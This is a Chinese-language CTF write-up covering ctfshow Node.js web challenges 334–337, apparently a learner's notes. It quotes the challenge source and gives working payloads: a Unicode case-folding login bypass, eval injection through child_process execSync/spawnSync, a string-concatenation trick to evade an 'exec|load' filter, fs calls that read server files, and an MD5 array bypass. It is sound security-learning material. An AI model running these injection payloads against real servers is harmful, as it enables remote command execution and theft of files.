一.什么是node.js
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。
Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境,基于 Google 的 V8 引擎,V8 引擎执行 Javascript 的速度非常快,性能非常好。
总结一下
我觉得node.js就是提供一个JavaScript环境 使这个语言升级 可以写一些后端的东西
直接做题学习
学习express
ctfshow——web334
打开是一个登陆框(好看的js)
给了源码
var express = require('express');
// 引入 Express 框架。这个模块用于在 Node.js 中创建 Web 应用。
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
想要不借助gpt看懂
先去学习一下 怎么用express模块创建服务器
————————学完了————————
感受是人类发明了gpt就要好好用它【呲牙笑】
还是让g大哥给我逐行注释一下吧【呲牙笑】
// 引入 Express 框架。这个模块用于在 Node.js 中创建 Web 应用。
var express = require('express');
//创建路由对象
var router = express.Router();
//导入路由模块,并获取其中的 'items' 属性,这应该是一个用户对象数组。
var users = require('../modules/user').items;
// 定义一个名为 'findUser' 的函数,接受用户名和密码作为参数。
// 使用 'find' 方法在 'users' 数组中查找用户名(转换为大写)和密码匹配的用户。
// 该函数还确保用户名不是 'CTFSHOW'。
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
//挂载具体路由
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
//向外导出路由对象
module.exports = router;
主要看这段代码
toUpperCase()的作用是把小写转换成大写
return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
所以这句话就用 小写的ctfshow 就能绕过
这里还有一个trick
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以用ctfſhow 123456登录也可以出flag
web335
页面问where is flag
先扫一下
看了一下
什么都没有
直接查看源代
这也没啥
看wp
这里打开源代码提示我们
在js文件中查找没有找到相关的什么东西,这里怀疑是js的eval。
通过查找主要有这三种,但是发现好像只有child_process是自带,这里我们在本地尝试一下。
漏洞利用:
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');
来进行调用。
通过学习,我们可以知道,下面这三个我们可以直接利用的
payload:
require('child_process').execSync('cat f*').toString()
require('child_process').spawnSync('cat', ['f*']).stdout.toString()
额外的发现
execFileSync只能执行ls之类,他cat不了文件
require('child_process').execSync('cat f*') 这里突然发现不用toString也行
web336
发现这里exec好像被禁了,而且统配符不知道为什么突然用不了
所以再去学一下佬们的wp
通配符被ban了可以先查找flag在哪
F1
?eval=require( 'child_process' ).spawnSync( 'ls', [ './' ] ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()
F2
看佬们还有一种解决方法
可以先看一下源代码
用这两个变量可以知道当前路径
用js里面的fs模块
这里用js的fs模块
?eval=require('fs').readFileSync('/app/routes/index.js', 'utf8')
记得这里要引入fs模块
就这样一个小女孩拿到了js源代码
果然是过滤了 exec' 和 'load'
var express = require('express'); // 引入 Express 框架
var router = express.Router(); // 创建一个新的路由器对象
/* GET home page. */
router.get('/', function(req, res, next) { // 定义处理 GET 请求的路由
res.type('html'); // 将响应内容类型设置为 HTML
var evalstring = req.query.eval; // 获取查询参数 'eval' 的值
// 检查 evalstring 是否为字符串,并且是否包含 'exec' 或 'load' 字符串(忽略大小写)
if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
res.render('index', { title: 'tql' }); // 如果条件满足,渲染 'index' 视图,并设置标题为 'tql'
} else {
// 否则,使用 eval() 函数计算 evalstring 的值,并渲染 'index' 视图,设置标题为 eval() 的结果
res.render('index', { title: eval(evalstring) });
}
});
module.exports = router; // 导出路由器对象
可以用字符串拼接的方式绕过 参考:[CTFSHOW][WEB入门]nodejs部分WP_ctfshow web335 y4ta-CSDN博客
?eval=require('child_process')['exe'%2b'cSync']('cat f*').toString()
把加号url编码(浏览器解析特性+会成为空格)
这里怎么通配符又能用了?
F3
还是经过学习,发现fs模块,还有列出目录中的文件的方法。
//列出当前目录下的文件
require('fs').readdirSync('./')
payload:
require('fs').readFileSync('fl001g.txt','utf-8')
web337
简单的md5数组绕过
也就是说js和php一样都是弱类型
payload:
a[]=1&b[]=2